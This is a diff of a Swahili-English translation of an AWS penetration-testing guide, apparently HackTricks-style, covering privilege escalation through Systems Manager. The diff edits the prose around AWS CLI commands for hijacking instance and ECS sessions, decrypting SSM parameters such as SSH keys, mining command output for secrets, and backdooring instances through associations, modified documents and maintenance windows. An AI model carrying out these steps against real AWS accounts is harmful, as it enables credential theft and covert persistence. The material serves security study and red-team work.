@@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active
 aws ssm start-session --target "$INSTANCE_ID"
 ```
 > [!CAUTION]
-> Ili kuanzisha session unahitaji **SessionManagerPlugin** ikiwa imewekwa: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
+> Ili kuanza session unahitaji **SessionManagerPlugin** ikiwa imewekwa: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
 
 **Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.
 
 #### Privesc to ECS
 
-Wakati **ECS tasks** zinaendeshwa na **`ExecuteCommand` enabled** users wenye permissions za kutosha wanaweza kutumia `ecs execute-command` ili **execute a command** ndani ya container.\
-Kulingana na [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) hii inafanywa kwa kuunda secure channel kati ya device unayotumia kuanzisha “_exec_“ command na target container kwa kutumia SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\
-Hivyo, users wenye `ssm:StartSession` wataweza **get a shell inside ECS tasks** zikiwa na option hiyo enabled kwa kuendesha tu:
+Wakati **ECS tasks** zinaendeshwa na **`ExecuteCommand` enabled**, users wenye permissions za kutosha wanaweza kutumia `ecs execute-command` ili **execute a command** ndani ya container.\
+Kulingana na [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) hili hufanyika kwa kuunda secure channel kati ya device unayotumia kuanzisha command ya “_exec_” na target container kwa kutumia SSM Session Manager. (SSM Session Manager Plugin inahitajika ili hili lifanye kazi)\
+Kwa hivyo, users wenye `ssm:StartSession` wataweza **get a shell inside ECS tasks** zikiwa na option hiyo enabled kwa kuendesha tu:
 ```bash
 aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
 ```
 ![](<../../../images/image (185).png>)
 
-**Athari Inayowezekana:** Privesc ya moja kwa moja kwa `ECS`IAM roles zilizoambatishwa kwa running tasks zilizo na `ExecuteCommand` enabled.
+**Athari Inayowezekana:** Direct privesc kwa `ECS`IAM roles zilizoambatishwa kwa running tasks zenye `ExecuteCommand` imewezeshwa.
 
 ### `ssm:ResumeSession`
 
-Shambulizi mwenye permission **`ssm:ResumeSession`** anaweza ku-**re-start a SSH like session in instances** zinazokiendesha Amazon SSM Agent zikiwa na hali ya **disconnected** ya SSM session na **kucompromise IAM Role** inayokimbia ndani yake.
+An attacker mwenye permission **`ssm:ResumeSession`** anaweza ku-**restart a SSH like session in instances** zinazoendesha Amazon SSM Agent zenye hali ya SSM session iliyokatika (**disconnected**) na **compromise the IAM Role** inayoendeshwa ndani yake.
 ```bash
 # Check for configured instances
 aws ssm describe-sessions
@@ -72,11 +72,11 @@ aws ssm describe-sessions
 aws ssm resume-session \
 --session-id Mary-Major-07a16060613c408b5
 ```
-**Athari Inayoweza Kutokea:** Direct privesc kwa EC2 IAM roles zilizounganishwa na running instances zenye SSM Agents zinazofanya kazi na disconected sessions.
+**Athari Inayowezekana:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running and disconected sessions.
 
 ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
 
-Mshambuliaji mwenye permissions zilizotajwa ataweza kuorodhesha **SSM parameters** na **kuzisoma kwa clear-text**. Katika parameters hizi unaweza mara nyingi **kupata sensitive information** kama SSH keys au API keys.
+Mshambuliaji mwenye permissions zilizotajwa ataweza kuorodhesha **SSM parameters** na **kuzisoma katika clear-text**. Katika parameters hizi unaweza mara nyingi **kupata taarifa nyeti** kama vile SSH keys au API keys.
 ```bash
 aws ssm describe-parameters
 # Suppose that you found a parameter called "id_rsa"
@@ -87,15 +87,15 @@ aws ssm get-parameter --name id_rsa --with-decryption
 
 ### `ssm:ListCommands`
 
-Mshambulizi aliye na ruhusa hii anaweza kuorodhesha **commands** zote zilizotumwa na kwa matumaini apate **taarifa nyeti** ndani yake.
+Mshambulizi aliye na ruhusa hii anaweza kuorodhesha **commands** zote zilizotumwa na, kwa matumaini, kupata **taarifa nyeti** ndani yake.
 ```
 aws ssm list-commands
 ```
-**Athari Inayowezekana:** Pata taarifa nyeti ndani ya command lines.
+**Athari inayowezekana:** Pata taarifa nyeti ndani ya command lines.
 
 ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
 
-Mshambuliaji mwenye permissions hizi anaweza kuorodhesha **commands** zote zilizotumwa na **kusoma output** iliyozalishwa, kwa matumaini ya kupata **taarifa nyeti** ndani yake.
+Mshambuliaji mwenye permissions hizi anaweza kuorodhesha **commands** zote zilizotumwa na **kusoma output** iliyozalishwa, akitumaini kupata **taarifa nyeti** humo.
 ```bash
 # You can use any of both options to get the command-id and instance id
 aws ssm list-commands
@@ -103,11 +103,11 @@ aws ssm list-command-invocations
 
 aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
 ```
-**Athari Inayowezekana:** Pata taarifa nyeti ndani ya output ya command lines.
+**Athari Inayowezekana:** Tafuta taarifa nyeti ndani ya output ya command lines.
 
-### Kutumia ssm:CreateAssociation
+### Using ssm:CreateAssociation
 
-Attacker mwenye permission **`ssm:CreateAssociation`** anaweza kucreate State Manager Association ili automatically execute commands kwenye EC2 instances zinazosimamiwa na SSM. Hizi associations zinaweza kusanidiwa ku run kwa fixed interval, jambo linalozifanya zinafaa kwa backdoor-like persistence bila interactive sessions.
+Mshambuliaji mwenye permission **`ssm:CreateAssociation`** anaweza kuunda State Manager Association ili kiotomatiki execute commands kwenye EC2 instances zinazosimamiwa na SSM. Haya associations yanaweza configured ku-run kwa fixed interval, na kuyafanya yanafaa kwa backdoor-like persistence bila interactive sessions.
 ```bash
 aws ssm create-association \
 --name SSM-Document-Name \
@@ -117,11 +117,11 @@ aws ssm create-association \
 --association-name association-name
 ```
 > [!NOTE]
-> Njia hii ya persistence hufanya kazi mradi EC2 instance inasimamiwa na Systems Manager, SSM agent inafanya kazi, na attacker ana permission ya ku create associations. Haihitaji interactive sessions au explicit ssm:SendCommand permissions. **Important:** Parameter `--schedule-expression` (k.m. `rate(30 minutes)`) lazima iheshimu minimum interval ya AWS ya dakika 30. Kwa immediate au one-time execution, acha `--schedule-expression` kabisa — association itatekelezwa mara moja baada ya creation.
+> Mbinu hii ya persistence hufanya kazi mradi tu EC2 instance inasimamiwa na Systems Manager, SSM agent inafanya kazi, na attacker ana ruhusa ya ku-create associations. Haihitaji interactive sessions au explicit ssm:SendCommand permissions. **Important:** parameta ya `--schedule-expression` (mfano, `rate(30 minutes)`) lazima iheshimu minimum interval ya AWS ya dakika 30. Kwa immediate au one-time execution, acha `--schedule-expression` kabisa — association itatekelezwa mara moja baada ya creation.
 
 ### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
 
-Attacker aliye na permissions **`ssm:UpdateDocument`** na **`ssm:UpdateDocumentDefaultVersion`** anaweza ku escalate privileges kwa kurekebisha existing documents. Hii pia inaruhusu persistence ndani ya document hiyo. Kwa vitendo attacker pia angehitaji **`ssm:ListDocuments`** ili kupata majina ya custom documents na kama attacker anataka ku obfuscate payload yake ndani ya existing document **`ssm:GetDocument`** itakuwa necessary pia.
+Attacker mwenye permissions **`ssm:UpdateDocument`** na **`ssm:UpdateDocumentDefaultVersion`** anaweza kuongeza privileges kwa kurekebisha existing documents. Hii pia inaruhusu persistence ndani ya document hiyo. Kivitendo attacker pia angehitaji **`ssm:ListDocuments`** ili kupata majina ya custom documents na kama attacker anataka kuficha payload yake ndani ya existing document **`ssm:GetDocument`** pia ingekuwa necessary.
 ```bash
 aws ssm list-documents
 aws ssm get-document --name "target-document" --document-format YAML
@@ -133,7 +133,7 @@ aws ssm update-document \
 --document-version 1
 aws ssm update-document-default-version --name "target-document" --document-version 2
 ```
-Hapa chini ni mfano wa document unaoweza kutumika ku-overwrite document iliyopo. Utahitaji kuhakikisha aina ya document yako inalingana na aina ya document lengwa ili kuepuka issues na innvocation. Document hapa chini kwa mfano itakuwa na mfano wa **`ssm:SendCommand`** na **`ssm:CreateAssociation`**.
+Hapa chini ni mfano wa document ambao unaweza kutumika ku-overwrite document iliyopo. Utataka kuhakikisha document type yako inalingana na document type ya target ili kuepuka issues wakati wa innvocation. Document hapa chini, kwa mfano, itatumia examples za **`ssm:SendCommand`** na **`ssm:CreateAssociation`**.
 ```yaml
 schemaVersion: '2.2'
 description: Execute commands on a Linux instance.
@@ -151,7 +151,7 @@ runCommand:
 ```
 ### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
 
-Mshambuliaji mwenye ruhusa **`ssm:RegisterTaskWithMaintenanceWindow`** na **`ssm:RegisterTargetWithMaintenanceWindow`** anaweza kuongeza privileges kwa kwanza kusajili target mpya kwenye maintenance window iliyopo kisha kusasisha kwa kusajili task mpya. Hii inafanikisha execution kwenye existing targets, lakini inaweza kumruhusu mshambuliaji ku-compromise compute zenye roles tofauti kwa kusajili new targets. Hii pia huruhusu persistence kwa sababu maintenance windows tasks zina-execute kwa interval iliyofafanuliwa awali wakati wa uundaji wa window. Kivitendo mshambuliaji pia angehitaji **`ssm:DescribeMaintenanceWindows`** ili kupata maintenance window IDs.
+Mshambulizi mwenye ruhusa **`ssm:RegisterTaskWithMaintenanceWindow`** na **`ssm:RegisterTargetWithMaintenanceWindow`** anaweza kuinua privileges kwa kwanza kusajili target mpya na existing maintenance window kisha kusasisha kwa kusajili task mpya. Hii husababisha execution kwenye existing targets, lakini inaweza kumruhusu mshambulizi ku-compromise compute zenye roles tofauti kwa kusajili targets mpya. Hii pia huruhusu persistence kwa sababu maintenance windows tasks hutekelezwa kwa interval iliyofafanuliwa awali wakati wa window creation. Kwa vitendo mshambulizi pia angehitaji **`ssm:DescribeMaintenanceWindows`** ili kupata maintenance window IDs.
 ``` bash
 aws ec2 describe-instances
 aws ssm describe-maintenance-window